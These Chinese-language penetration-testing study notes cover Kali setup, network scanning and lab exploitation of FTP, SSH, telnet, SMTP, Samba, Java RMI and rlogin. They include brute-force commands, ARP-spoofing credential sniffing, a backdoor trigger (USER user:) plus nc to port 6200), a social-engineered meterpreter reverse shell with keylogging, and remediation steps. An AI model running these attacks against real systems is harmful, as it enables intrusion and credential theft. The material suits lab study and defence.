虚拟机的克隆分为创建连接克隆和创建完整克隆
克隆和快照的区别
1.快照是对单一虚拟机的操作
2.克隆是进行虚拟机复制
在一定程度上两者都起到vm虚拟机状态保存。
无论是快照还是克隆都占用对应的储存空间,一般使用链接克隆和快照,占用小。
VMtools工具用来增强物理机与虚拟机的互动
可以实现:自适应屏幕大小、文件拖动互传
在linux中安装vmtools,解压出文件,运行./vmware-install.pl
实现文件共享
添加共享文件夹
手动配置挂载共享文件夹 1.在/mnt目录新建文件夹为hgfs 2.使用vmware-gfsclient查看是否成功设置共享文件夹 3.使用vmhgfs-fuse .host:/设置共享的文件夹 /mnt/hgfs(挂载处)
设置开机自动挂载共享文件夹
用vim打开/etc/fstab文件,添加一行挂载信息
.host:/projects /mnt/hgfs fuse.vmhgfs-fuse allow_other,defaults 0 0
使用mount -a指令让刚刚写入的挂载信息立即生效
使用umount /mnt/hgfs卸载刚刚挂载的目录
永久卸载就直接把/etc/fstab文件里面相关挂载记录删除即可
使用中间件进行文件操作
启动kali中的Apache 进行使用
使用vim /etc/apache2/ports.conf编辑端口
service apache2 start /etc/init.d/apache2 start
打开ip对应端口进入Apache页面即可查看相关文件
网络连接模式
桥接模式:比较常用的一种网络模式,用来设置虚拟机与主机具有同等的网络地位。前提是需要在动态分配的IP地址网络中,如果在静态分配的IP地址的网络中需要进行手动设置对应的IP地址。
NAT模式:NAT网络地址转换,主机与虚拟机构成同一个网络,虚拟机可以与主机以外的网络通信,但是主机以外的网络无法与虚拟机通信。例如:局域网 (VMnet8)
仅主机模式:不与外部通信但是可以与当前主机通信 (VMnet1)
由于防火墙的作用外部主机可以ping通虚拟机,但是虚拟机无法ping通主机。防火墙过滤了ping
使用网络编辑器
仅主机模式可以编辑子网和网络的起始和结束ip
在添加网络中可以新建新的虚拟网卡并且为它设置不同的连接模式。
为设备添加新的网卡
需要配置新添加的网卡 vim /etc/network/interfaces
虚拟机网络配置可能出现的问题
1.本地机器不支持虚拟化
开启VT功能
2.桥接网络没有IP地址分配
修改桥接网卡为你指定的网卡
修改 /etc/ssh/sshd_config 文件
修改以下两个项目,实现ssh
permitrootlogin yes
passwordauthentication yes
设置远程root连接 需要将密码更改为6位数便可以进行远程连接
使用虚拟机自带的ssh服务进行连接
kali中使用ssh命令去连接其他主机
连接命令 ssh [email protected]
kali的发行是基于Debin(内核)类型的linux
1.netstat -pantu 查看当前的tcp udp的监听端口
2.service ssh start 开启服务
3.ifconfig 或者 ip addr 查看当前网卡信息
4./etc/init.d/networking restart 或者 service networking restart 或者 systemctl restart networing.service 重启网卡
5.ssh kali@IP地址 使用 root用户登录ssh服务
更新软件和系统
apt-get update && apt-get upgrade && apt-get dist-upgrade
第一个命令进行更新 第二个命令进行软件更新 第三命令进行大面积更新包括内核,应用程序等
对kali进行更新
如何升级你的 Kali 主题
有了这些主题更改,如果您升级Kali ,您可能无法获得它们。这是因为当您的用户第一次被创建时,主题设置被复制到您的主文件夹中。当您升级 Kali 时,它正在升级操作系统,因此升级不会改变个人文件*(只是系统文件)*。因此,为了获得这些主题调整,您需要:
重新安装 Kali
创建一个新用户并切换到该用户
删除当前用户的桌面环境配置文件并强制重启。可以在下面找到 Xfce 的示例:
kali@kali:~$ mv ~/.config/xfce4{,-$(date +%Y.%m.%d-%H.%M.%S)}
kali@kali:~$
kali@kali:~$ cp -rbi /etc/skel/. ~/
kali@kali:~$
kali@kali:~$ xfce4-session-logout --reboot --fast
设置系统更新
┌──(kali㉿kali)-[~]
└─$ echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" | sudo tee /etc/apt/sources.list
┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] && sudo reboot -f
参考链接kali linux 2021.4发布|支持Apple M1|添加9款新工具|ARM更新 - 雨苁ℒ
配置kali的更新源
修改kali linux源 ,修改/etc/apt/source.list文件
个人不建议修改,使用默认的配置
设置开机自启动软件
update-rc.d ssh enable
update-rc.d postgresql enable
ls 查看当前目录下的文件内容
id 查看当前用户属性
whoami 查看当前用户名称
#代表普通用户 $代表root用户
ls -alh
-a 查看全部文件包括文件夹 文件以及隐藏文件
-l 以长文件形式查看
-h 文件大小以k M为单位
第一个字母代表不同的文件类型,d代表目录,l代表链接(相当于windows下的快捷方式),-代表文件。
文件夹操作命令 :mkdir 创建文件夹 rmdir 删除文件夹
文件操作命令:touch 创建文件 rm 删除文件
rm -rf
r 递归删除 f 强制删除
mv 重命名命令 移动文件到其他文件夹下面
mv 旧名字 新名字 mv 文件名 到想要移动到的位置
linux工作目录命令
pwd 输出当前目录
cd .. 到上级目录 cd /etc/... 切换到具体的目录
文件权限的介绍
ls -alh
可以看到最开始的一列显示的是文件的权限,除开第一个字母,第一个rwx代表当前用户对这个文件的权限,第二组的三个字符代表当前用户组其他用户对这个文件的权限,第三组的三个字符代表的是所有用户对这个文件的权限
一般显示白色的文件是没有执行权限的文件
使用chmod + rwx filename 给一些文件增加权限
新建了一个TXT文件可以看到TXT文件是没有执行权限的
用数字代表权限 r=4 w=2 x=1 对一组数来说 如果要给他rwx三个权限 那么赋权语句为
chmod 700 test.txt 如果只需要赋值一个权限那么输入 chmod 100 test.txt 便可以成功赋予权限了
新建一个python文件,显示当前用户是没有执行权限的,但是我们用python3进行执行可以看到这个文件还是被成功执行了,因为python程序是有执行权限的。
编辑文件调用python2文件 加上 #!/usr/bin/python
接下来就可以正常输出文件内容
在github上下载工具安装执行
git clone https://github.com/arismelachroinos/lscript
lscript使用了解 使用lscript让wifi攻击变得更简单_pcdack的博客-CSDN博客
赋予权限
最后执行安装 ./install.sh
主要针对系统的漏洞扫描分析软件
对应linux系统的nessus,需要注意的是大多nessus是适用于kali32位的
下载完成文件后放入kali虚拟机里面,然后运行 dpkg -i nessus.deb
命令进行安装
使用/etc/init.d/nessusd start 进行启动
netstat -pantu 查看服务端口使用状态
nessus默认的端口是8834,对目标win10操作系统进行漏洞扫描
访问地址,进行登录
nessus使用界面
OSI七层结构
二层发现主要是通过OSI七层模型中的链路层中的协议进行主机发现。一般使用arp协议
优点:局域网中通信使用arp协议,利用mac地址作为对应的识别地址。
1、速度快
2、可靠性高
缺点:无法扫描经过路由的主机。
二层发现的工具:使用kali中的工具arping 缺点:无法多个主机同时扫描
netdiscover 进行多主机扫描,以下是相关说明
Netdiscover 0.8.1 [Active/passive ARP reconnaissance tool]
Written by: Jaime Penalba
Usage: netdiscover [-i device] [-r range | -l file | -p] [-m file] [-F filter] [-s time] [-c count] [-n node] [-dfPLNS]
-i device: your network device
-r range: scan a given range instead of auto scan. 192.168.6.0/24,/16,/8
-l file: scan the list of ranges contained into the given file
-p passive mode: do not send anything, only sniff
-m file: scan a list of known MACs and host names
-F filter: customize pcap filter expression (default: "arp")
-s time: time to sleep between each ARP request (milliseconds)
-c count: number of times to send each ARP request (for nets with packet loss)
-n node: last source IP octet used for scanning (from 2 to 253)
-d ignore home config files for autoscan and fast mode
-f enable fastmode scan, saves a lot of time, recommended for auto
-P print results in a format suitable for parsing by another program and stop after active scan
-L similar to -P but continue listening after the active scan is completed
-N Do not print header. Only valid when -P or -L is enabled.
-S enable sleep time suppression between each request (hardcore mode)
If -r, -l or -p are not enabled, netdiscover will scan for common LAN addresses.
netdiscover 进行自动扫描 netdiscover -r IP 指定ip段进行扫描 netdiscover -c 次数 指定次数进行扫描
两个工具只能当前局域网进行主机发现。
三层主机发现指: 利用ISO中网络中的协议进行主机发现。一般使用ICMP协议。
优点: 1、可以发现远程主机 经过路由的主机 2、速度相对比较快
缺点: 1.经常被防火墙过滤
2.速度相比二层发现慢
三层发现 ping工具
linux下如果不指定ping次数会一直发送数据包 ping IP -c 次数 指定次数进行ping
windows下4次后会结束
fping工具 进行多个主机进行主机发现 发现当前网络或者远程网络中存活的设备
fping -g 192.168.0.1
hping3 对目标进行三层主机发现 特点:发送自定义的ICMP数据包
使用 -1 或者 --icmp指定icmp数据包 使用-c 指定ping次数
hping3 -c 3 -1 192.168.0.1 --icmpcode 1 自定义数据包可以尝试绕过防火墙等
四层发现的优缺点
四层发现指利用OSI中的传输层协议进行主机发现,一般使用TCP、UDP探测。
优点:1、可以探测远程主机 2、比三层发现更为可靠
缺点:花费时间比较长
namp IP地址 探测ip地址端口状态和ip是否存活
Kali linux下自带工具hping3可以进行对应的四层层主机发现 hping3 --udp -c 3 IP地址
探测时候同时需要加上端口号
hping3 --udp -c 3 -p 端口号 IP
一般服务器会进行防护,不允许进行回显
主机发现--使用脚本探测
下载nwatch脚本
pip install python-nmap
git clone https://github.com/s0cket7/nWatch.git
"端口”是英文port的意译,可以认为是设备与外界通讯交流的出口。端口可分为虚拟端口和物理端口,其中虚拟端口指计算机内部端口,不可见。例如计算机中的80端口、21端口、23端口等。
一台拥有IP地址的主机可以提供许多服务,比如Web服务、FTP服务、SMTP服务等,这些服务完全可以通过1个IP地址来实现。那么,主机是怎样区分不同的网络服务呢?显然不能只靠IP地址,因为IP地址与网络服务的关系是- -对多的关系。实际上是通过“IP地址+端口号”来区分不同的服务的。
因此,一个开放的端口代表一个提供的服务,不同的服务具有不同的端口号,因此要对服务进行测试,首先要确定是否开放对应端口号。
nmap IP地址 //探测端口状态
nmap -p 端口范围 IP 指定端口范围进行扫描
输入dmitry查看帮助
dmitry - p IP 探测一些常用的端口,相比之下nmap更加强大
nc -nvz IP 20-30(指定的端口范围)
v 参数就是列出执行过程的详细信息,n 参数翻译过来就是只接收 ip 地址,没有 dns。之所以使用 n 参数,是因为使用命令的过程中只去传入 ip,减少了 nc 把域名解析为 ip 的过程,这样可以节省时间提高效率。
nc 用来进行端口扫描的命令是 nc -nvz ip 地址 端口号,z 参数翻译过来就是不进行 i/o,用来扫描。意思就是仅仅是去 ping 去探测目标是否开启指定端口,不进行任何的交互。
netcat说明 Netcat详解_发哥微课堂-CSDN博客_netcat
banner 信息来表示欢迎语,其中会包含一些敏感信息,所以获取 banner 也属于信息搜集的范畴。在渗透测试中,典型的 4xx、5xx 信息泄露就属于 banner 泄露的一种。在 banner 信息中,可以获取到软件开发商、软件名称、服务类型、版本号等。而版本号有时候就会存在公开的 CVE 问题,可以直接进行利用。
banner 信息获取的基础是在和目标建立链接后的,只有建立的链接,才可以获取到相应的 banner 信息,当目标对 banner 信息进行隐藏或者配置了禁止读取时,这时的 banner 则获取不到。
端口范围0-65535 TCP端口和UDP端口。由于TCP和UDP两个协议是独立的,因此各自的端口号也相互独立,比如TCP有 235端口,UDP也可以有235端口,两者并不冲突。
端口分为:
1、周知端口 周知端口是众所周知的端口号, 范围从0到1023,其中80端口分配给WWW服务,21端口分配给FTP服务等。我们在浏览器的地址栏里输入一个网址的时候是不必指定端口号的,因为在默认情况下WWW服务的端口是“80”
2、动态端口 动态端口的范围是从49152到65535。之所以称为动态端口,是因为它一般不固定分配某种服务,而是 动态分配。
3、注册端口 端口1024到49151,分配给用户进程或应用程序。这些进程主要是用户安装的程序。
端口Banner信息的获取
使用nmap获取banner信息
nmap IP地址 --script banner -p 端口号范围 //使用Nmap扫描指定主机的端口信息,并返回Banner.
使用dmitry获取端口banner信息
dmitry -pb IP地址
使用netcat获取banner信息
nc -nv IP 端口范围 //nc主要用于单个服务的banner信息探测
利用Nmap获取目标系统的端口版本信息: -nmap -p 端口号 -sV IP地址
有些时候使用banner探测信息不够完整,此时使用-sV进行主动探测,可以指定端口探测也可以不指定。
nmap -O IP地址 //探测当前IP使用的操作系统
在有授权的情况下对目标进行完整的测试
nmap -A -v IP地址
加上-T4 对目标进行快速扫描,扫描完成会显示出扫描的信息内容
漏洞扫描器对漏洞进行扫描,以验证具体目标是否存在对应的具体漏洞。但是也存在错误扫描,需要对扫描结果进行漏洞验证。
其实扫描器的原理大致相同都是通过发送对应的验证数据到目标具体服务进行验证。当收到目标返回的响应与存在漏洞的响应一致时,就表明存在漏洞。
nessus:常用的系统扫描器,使用方法如下
1.添加一个新的扫描
2.选择扫描方式,一般选择基本网络扫描即可
3.填好相关的数据,然后点击save保存
4.最后点击启动即可开始扫描
使用nmap进行漏洞验证
nmap --script vuln IP地址
参考链接 使用nmap 验证多种漏洞 - 卿先生 - 博客园
Exploit
渗透攻击,是指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。攻击者使用渗透攻击去入侵系统时,往往会造成开发者所没有预期到的一种特殊结果。
流行的渗透测试攻击技术包括缓冲区溢出、Web应用程序漏洞攻击(比如SQL注入),以及利用配置错误等。
Payload
攻击载荷,是我们期望目标系统在被渗透攻击之后去执行的代码,在Metasploit框架中可以自由地选择、传送和植入。
例如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供Windows命令行shell的攻击载荷;而bindshell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。攻击载荷也可能是简单地在目标操作系统上执行一些命令,如添加用户账号等。
总结
一句话,exploit是拿下系统前进行的活动,目标是拿下目标系统;payload是在拿下目标系统后所进行的操作,目标是提升权限、加强控制等操作,属于后渗透测试。
查询vsftpd的漏洞利用exploit
search vsftpd
use exploit/unix/ftp/vsfrpd_234_backdoor show payloads
show options //查看需要设置的选项
set rhost 192.168.0.138 //设置远程主机
show options //查看设置是否完成
最后输入exploit开始攻击,成功连接到终端并且能够执行命令,查询用户权限也为root
Owasp-zap、AWVS、Appscan、Nikto、Burpsuite
针对Web应用程序的漏洞扫描其实就是每个扫描器读取自己的Payload进行探测。
扫描过程中结合使用两个或者三个web应用程序进行扫描,能够更加准确的探测到更多的漏洞
一款免费安全审计工具,帮助您在开发和测试应用程序时自动查找Web应用程序中的安全漏洞。类似的针对Web应用程序的扫描工具还有AWVS、APPSCAN等。ZAP是一个中间人代理。它允许您查看您对Web应用程序发出的所有请求以及您从中收到的所有响应。
主要拥有以下重要功能:
本地代理
主动扫描
被动扫描
Fuzzy
暴力破解
github官网链接 GitHub - zaproxy/zaproxy: The OWASP ZAP core project
owasp-zap详解 OWASP ZAP下载、安装、使用(详解)教程_子曰小玖的博客-CSDN博客_owasp zap下载
nikto -host IP地址 对目标服务器进行漏洞扫描 主要针对HTTP服务器
nikto使用参考链接 Web漏洞扫描神器Nikto使用指南 - 知乎
文件传输协议(英文: File Transfer Protocol,缩写: FTP) 是用于在网络上进行文件传输的一套标准 协议,使用客户/服务器模式。它属于网络传输协议的应用层。FTP使用21号端口。
用户分类:
1、Real用户 2、Administrator 3、匿名用户
FTP文件传输格式
1、ASCII 2、二进制
利用FTP匿名登录漏洞
由于FTP没有禁止匿名用户,所以可以直接使用Anonymous用户直接登录FTP服务器。可以使用nc连接ftp
首先使用nmap查询21号端口是否开启
nmap -p 21 192.168.0.133
尝试使用nc去连接ftp
nc 192.168.0.133 21
输入:
USER anonymous PASS 123
输入HELP查看可以执行的命令
匿名用户登录漏洞产生的重要原因,允许了匿名连接
FTP后门漏洞
vsftp2.3.4具有后门触发漏洞
vsftpd手工出发漏洞:当进行FTP认证时,如果用户名USER中包含:),那么直接就触发监听6200端口的连接的shell。
首先使用nc连接对应的IP和端口
nc 192.168.0.133 21
连接后输入
USER user:)
PASS pass
然后在另一个窗口直接使用nc 192.168.0.133 6200
连接6200端口
默认端口扫描列表是没有添加6200的 ,扫描时单独选择扫描6200端口
FTP的安全配置
windows下可以选择不允许使用匿名用户登录
linux下 编辑vsftp .conf文件,allow_anonymous 选择NO
2、对特定漏洞进行打补丁,或者设置防火墙禁止连接后门端口。 iptables -A INPUT -p tcp -dport 6200 -j DROP iptabels -A OUTPUT -p tcp sport 6200 -j DROP
FTP不可避免的问题
密码暴力破解
Windows下FTP服务器添加用户的操作
首先添加一个测试用的账号
net user test test /add
接下来将该用户添加到管理员用户组中
net localgroup administrators test /add
选择FTP站点属性选择安全账户,然后浏览,最后选择刚刚添加的用户,允许该用户访问FTP站点。
Medusa
使用medusa工具进行暴力破解账号和密码
查看medusa支持的功能
使用 -d 查看支持破解的模块,可以看到支持ftp模块的破解
使用命令进行暴力破解
medusa -h 192.168.0.133 -u test -P name.txt -M ftp
最后成功得出密账号密码为 test test
在不知道账户和密码的时候可以使用 medusa -h 192.168.0.133 -U 文本 -P 文本 -M ftp
进行暴力破解。
FTP用户名明文密码验证 FTP协议中用于用户认证的过程中,客户端与服务器端是通过明文进行交互信息。验证FTP登录过程中 明文传输用户名和密码。
可以通过wireshark进行抓包查看明文传输的账号和密码
FTP用户名密码嗅探
利用arpspoof进行ARP嗅探
arpspoof -i 网关地址 -t 嗅探接收arp报文的IP
图中所示,在arpspoof运行的过程中我们嗅探到了他接收的其他设备的arp信息,其中就有明文的账号和密码。
FTP登录后的漏洞
利用metasploit创建反弹shell上传到FTP服务器。
可以利用setookit快速生成反弹shell:
选择社会工程攻击
选择创建一个payload并且设置监听
选择 2 生成一个meterpreter shell 并且返回给攻击者,设置Lhost为kali的IP地址,设置监听的端口为1234,最后回车确认即可
最后提示现在是否想要开始这payload并且开始监听,输入yes
最后会自动启动metsploit并且开始监听,现在我们就需要将payload上传给被攻击者让他进行点击。
为了方便就直接先复制到虚拟机中进行测试
使用sz命令下载到电脑上,然后上传到虚拟机中
双击运行payload
msf成功出现回显
输入sessions -l 查看会话情况
输入sessions -i 1 选择会话,成功连接到设备,输入ipconfig查看会话,成功回显
登录后可以实现的功能有:
1,查看当前session中的win2003的系统信息
2,实现键盘记录等功能,keyscan_start //开启进行键盘记录 keyscan_dump 将键盘记录的内容输出
输入help查看其他可以实现的功能
metsploit使用参考 metasploit介绍及使用_低头观自在的博客-CSDN博客_metasploit
ssh相关命令
sudo apt-get install openssh-server service ssh start service ssh status service ssh stop
putty工具
sudo apt-get intstall putty-tools
puttygen
搭建putty图形化客服端
可以在软件中心进行搜索
使用工具连接服务端
需要服务端的IP地址 尝试连接本机的ssh服务
使用nmap获取banner信息
使用metasploit获取ssh banner信息
使用 auxiliary/scanner/ssh/ssh_version 模块
run //开始执行,获取banner信息
使用nc获取banner信息
使用nc可以迅速探测出banner信息
配置ssh文件规避探测到banner信息
编辑ssh_config文件,在banner信息附近加入 Debianbanner no
保存并且重启ssh服务
最后尝试通过ssh服务获取banner信息,发现没有了主机信息
苍蝇不叮无缝的蛋
使用medusa破解sshmima
扫描局域网主机地址,确定测试主机为192.168.0.120
medusa -d 查看可以使用的模块
medusa -h 192.168.0.120 -u root -P pass.txt -M ssh 用字典暴力破解密码
最后成功获取密码
然后可以使用ssh命令进行登录 ssh user@IP
使用metasploit利用ssh登录反弹Shell
使用Metasploit可以进行ssh登录(破解),会自动建立对应的Bash shell连接。
use auxiliary/scanner/ssh/ssh_login //使用ssh_login模块
show options //查看需要设置的地方,设置rhosts、username、password
开始执行,可以看到成功监听
sessions -l //查看执行成功的会话,进入会话尝试运行命令,成功执行命令
通过bash shell 注入meterpreter //可以执行更多的命令及操作
sessions -l 查看会话ID 将这个会话注入meterpreter
sessions -u 2 将会话2注入meterpreter
最后生成的meterpreter shell 会话3
最后输入help查看meterpreter可以运行的命令
通过meterpreter可以执行一些方便的查看信息的命令、执行攻击的命令等
SSH修改默认端口
默认情况下,SSH使用22端口。为了安全,一般情况下都会修改默认端口。
可以修改默认端口号为你想要的不冲突的端口,修改之后需要重启SSH服务。
使用私钥和公钥登录
默认情况下,SSH使用用户名和密码进行远程登录。但也可以使用密钥对进行身份验证登录(公钥与私钥)。
生成SSH密钥对,使用puttygen。
下载链接: Download PuTTY: latest release (0.76)
使用ssh-keygen 命令在Linux生成ssh目录,在.ssh下新建密钥存储文件authorized keys, 并复制私钥
文件到.ssh目录下。使用命令puttygen -L“拷贝私钥文件”,将内容拷贝到authorized_ keys文件中。
puttygen
ssh防御暴力破解用户账号
在Linux下可以配置不能使用用户名和密码登录,只使用SSH PGP方式验证登录。规避了SSH暴力破解,
出现问题:不能使用用户名和密码登录,很大程度上导致了复杂操作。
一定程度上防止了暴力破解,因为将自己的登录也禁止了
IPtables设置阀值防止暴力破解
利用iptables对多次连接验证错误,进行账户锁定120s
相当于对linux安全加固
什么是telnet
Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器。终端使用者可以在teInet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。
虽然Telnet较为简单实用也很方便,但是在格外注重安全的现代网络技术中,Telnet并不被重用。原因在于Telnet是一个明文传送协议,它将用户的所有内容,包括用户名和密码都明文在互联网上传送,具有一定的安全隐患,因此许多服务器都会选择禁用Telnet服务。如果我们要使用Telnet的远程登录,使用前应在远端服务器.上检查并设置允许Telnet服务的功能。
开始进行暴力破解
使用nmap探测23号端口状态,可以看到23号端口是开启的 //注意如果rport不是23的话就要更改rport
可以知道探测之前对服务的版本号探测是非常重要的,通过版本号的探测可以知道一些历史的漏洞信息。
use auxiliary/scanner/telnet/telnet_version set rhosts 192.168.0.138 run //扫描出了一些开机的信息,其中就有账号密码。
对telnet密码破解
可以使用 serch telnet 查找telnet可用的模块,使用telnet_login攻击模块
使用telnet_login模块进行破解
配置username、pass_file、rhosts、rport //使用unset命令可以取消你的设置
set user_file和pass_file 的位置,可以进行组合破解,我们只显示设定好账户破解密码的过程。
攻击后成功破解出账号和密码为msfadmin、msfadmin,而且已经建立了会话
连接到会话,并且设置bash shell——>meterpreter,操作方式和将ssh的shell改变成meterpreter的方式一样。
sessions -l //查看会话 sessions -i 1 进入会话,输入命令可以成功运行
sessions -l 查看会话并通过会话3建立meterpreter连接
sessions -l //查看会话 可以看到出现了会话4,可以直接访问即可
因为telnet是明文传输的,使用wireshark可以直接抓取传输的数据内容。
启用电脑telnet功能。
在cmd中输入telnet来使用telnet功能,输入help查看可以实现的操作
输入开始连接便抓取到telnet流量
通过追踪流 tcp流可以看到传输的信息是以明文的方式进行传输的
查看数据包找到了输入账号和密码的时候的数据包,和输入一些命令的数据包,这也说明了使用telnet传输是非常不安全的。
邮件发送使用smtp协议,(占用25端口。而邮件接收使用pop3或imap 协议,分别占用110和143端口。
添加主机名和域名
为了在本地搭建好邮件服务器,所以需要修改对应内容。使得可以在本地进行域名解析。
sudo gedit /etc/hosts
添加内容127.0.0.1 mail.test.lab test,并且注释掉其他回环地址的内容
修改hostname为test sudo gedit /etc/hostname 进入文件 将内容改为test
hostname命令 用于显示和设置系统的主机名称。环境变量HOSTNAME也保存了当前的主机名。在使用hostname命令设置主机名后,系统并不会永久保存新的主机名,重新启动机器之后还是原来的主机名。如果需要永久修改主机名,需要同时修改/etc/hosts和/etc/sysconfig/network的相关内容。
重启以生效
hostname -f 查看是否修改成功
postfix安装
因为postfix是非常流行的smtp软件,所以ubuntu的主要库中集成了postfix,可以直接使用以下命令安装:
sudo apt-get install postfix
选择 intlenet site ,按照以下选项成功搭建好postfix
Please select the mail server configuration type that best meets your │ needs. No configuration: │ Should be chosen to leave the current configuration unchanged. │ Internet site: │ Mail is sent and received directly using SMTP. │ Internet with smarthost: │ Mail is received directly using SMTP or by running a utility such │ as fetchmail. Outgoing mail is sent using a smarthost. │ Satellite system: │ All mail is sent to another machine, called a 'smarthost', for │ delivery. │ Local only: │ The only delivered mail is the mail for local users. There is no │ network.
修改配置文件: sudo gedit /etc/postfix/main.cf
追加子网信息
mynetworks = 127.0.0.1/8 192.168.0.0/24 inet protocols = ipv4 home_ mailbox = Maildir/
sudo service postfix restart //修改完成之后重新启动服务postfix
然后使用netstat -nlv 来查看对应25端口是否开启。
netstat -nlv 查看端口,可以看到25号端口处于一个监听状态是开启的
安装dovecot
sudo apt-get install dovecot-pop3 devocot-imapd //安装dovecot-pop3、devocot-imapd
编辑sudo gedit /etc/dovecot/conf.d/10-auth.conf ,修改下面两项
auth_mechanisms = plain login disable_plaintext_auth = yes
sudo gedit /etc/dovecot/conf.d/10-mail.conf
mail_location=maildir:/home/%u/Maildir
sudo gedit /etc/dovecot/conf.d/10-master.conf
打开 port 143 和 port 110
最后 netstat -pantu 查看监听端口是否开启
sudo gedit /etc/dovecot/conf.d/10-master.conf
unix_listener auth-userdb { mode = 0600 user = postfix group = postfix }
发送邮件和接收邮件
邮件书写并且发送
使用telnet测试邮箱用户名是否存在
返回252说明存在用户名,返回501说明不存在用户名
metasploit测试用户名
use auxiliary/scanner/smtp/smtp_enum //使用用户名枚举模块
设置好对应的目标等
最后成功测试出用户名(只要字典够强大就跑得出来)
smtp-user-enum测试用户名
smtp-user-enum是专门用来进行smtp用户名枚举的工具,没有该工具的话使用apt install smtp-user-enum 进行安装
smtp-user-enum -M VRFY -U /root/user.txt -t 目标IP地址
直接输入smtp-user-enum可以查看相应的命令提示
探测结果如下,发现存在test1这个用户
ismtp测试完整的邮箱地址
探测到存在的邮箱地址
探测到用户名后,接下来可以枚举密码,使用多个工具进行探测是为了验证探测的目标是准确的。
使用metasploit中的smtp-version模块进行探测smtp服务的版本信息
postfix esmtp mail.test.lab 都是可用信息
medusa破解smtp服务
smtp的验证方式:https://en.wikipedia.org/wiki/SMTP_Authentication
使用medusa
同时使用wireshark抓包可以看到相应的内容是base64加密的
NFS解释
rpcbind是NFS中在服务段用来进行消息通知的服务,用来通知取文件的一些设备。
一般rpcbind运行在111端口,并且NFS配置开启rpcbind_enable="YES"
NFS一般使用2049端口
探测目标rpcbind
探测到版本号为2 (RPC #10000)
查看kali中是否有可以利用的模块,没有发现可用利用的一些远程代码执行等的模块
使用nmap探测rpcinfo,可以看到rpcinfo 111端口既可以使用tcp又可以使用udp协议,其他一些相关的服务泄露的端口信息
metasploit模块探测
auxiliary/scanner/misc/sunrpc_portmapper
也可以探测到rpcbind的一些相关服务
总结:探测rpcbind的泄露信息可以探测到比如有nfs的修改后的端口,和一些可以攻击的其他服务的端口。
Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB( Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。
一般运行在139和445端口
本次实验需要实现利用攻击模块和payload结合实现root权限的远程代码执行
先使用nmap对端口进行探测 ,可以看到139 和 445 端口都是开放的,而且也爆出了版本信息,方便后续的漏洞利用。
metasploit 漏洞利用
使用 exploit/multi/samba/usermap_script模块
show payloads 使用反弹的paylaod
设置攻击地址
攻击成功,成功获取到root权限
防御修复
show info查看漏洞影响的范围,修复建议方案:升级Samba的版本
msf6 exploit(multi/samba/usermap_script) > show info Name: Samba "username map script" Command Execution Module: exploit/multi/samba/usermap_script Platform: Unix Arch: cmd Privileged: Yes License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2007-05-14 Provided by: jduck Available targets: Id Name -- ---- 0 Automatic Check supported: No Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.0.138 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 139 yes The target port (TCP) Payload information: Space: 1024 Description: This module exploits a command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands. No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication! References: https://nvd.nist.gov/vuln/detail/CVE-2007-2447 OSVDB (34700) http://www.securityfocus.com/bid/23972 http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534 http://samba.org/samba/security/CVE-2007-2447.html
远程登录(rlogin 是一个UNIX命令,它允许授权用户进入网络中的其它UNIX机器并且就像用户在现场操作一样。一旦进入主机,用户可以操作主机允许的任何事情
默认开启的是513端口,512作为验证端口
可以看到开启了512和513端口
使用nmap -sV -p 512,513 IP地址探测目标rlogin版本信息。512用于对远程执行的进程进行验证、利用513端口来反弹bash shell。
使用rlogin可以直接登录并且是root权限
产生漏洞的原因是因为采用了默认配置或者配置错误
修复建议:1.添加root登录验证密码
2.关闭rlogin服务,改用ssh等来管理服务器
java rmi
Java RMI指的是远程方法调用(Remote Method Invocation)。它是一种机制,能够让在某个Java虚拟机上的对象调用另一个Java虚拟机中的对象上的方法。一般使用1099端口。
RMI是J2SE的一部分,能够让程序员开发出基于JAVA的分布式应用。- 个RMI对 象是一个远程JAVA对象,可以从另一个JAVA虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地JAVA对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象, 迫使服 务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。RMI的传输100%基于反序列化。
传输的时候需要先将字符进行序列化形成对象,接收时对象再经过反序列化变成传输的原始数据。
探测目标的rmi
使用nmap -p 1099 -sV IP地址探测目标的版本信息
实际情况下是需要使用漏洞扫描器来进行漏洞的探测的,现在是已知这个服务器有漏洞我们使用已有的poc来进行验证
rmi远程命令执行利用
shi用metasploit中的模块将系统命令执行序列化,传输到rmi serve,rmi在反序列化的过程中会将传输过来的内容当作系统命令进行执行,整个过程是因为metasploit构造了特殊的对象。
使用的攻击模块
multi/misc/java_rmi_server
设置rhosts 默认的payload为 java/meterpreter/reverse_tcp
执行meterpreter 命令
防御和修复方案
1.存在反序列化传输 --需要特别注意
2.存在有缺陷的第三方库如commons-collections 请及时升级库
注意权限设置,使得java rmi这个进程不具备系统命令执行权限
某些情况下服务器可能存在某些后门,可以使用nmap进行探测 //连接别个留下的后门的
探测到msf的靶机的1524号端口就存在这么一个后门
使用nc连接后门获得权限
nc 192.168.0.138 1524
还有情况是管理员需要远程连接开启了一个等待远程连接的shell,这个时候我们可以随着管理员的设置去连接shell
3.某些软件本来就存在这样的后门,这样我们就可以直接去连接
防御方法
只开启需要使用的端口,不使用的端口都关闭掉
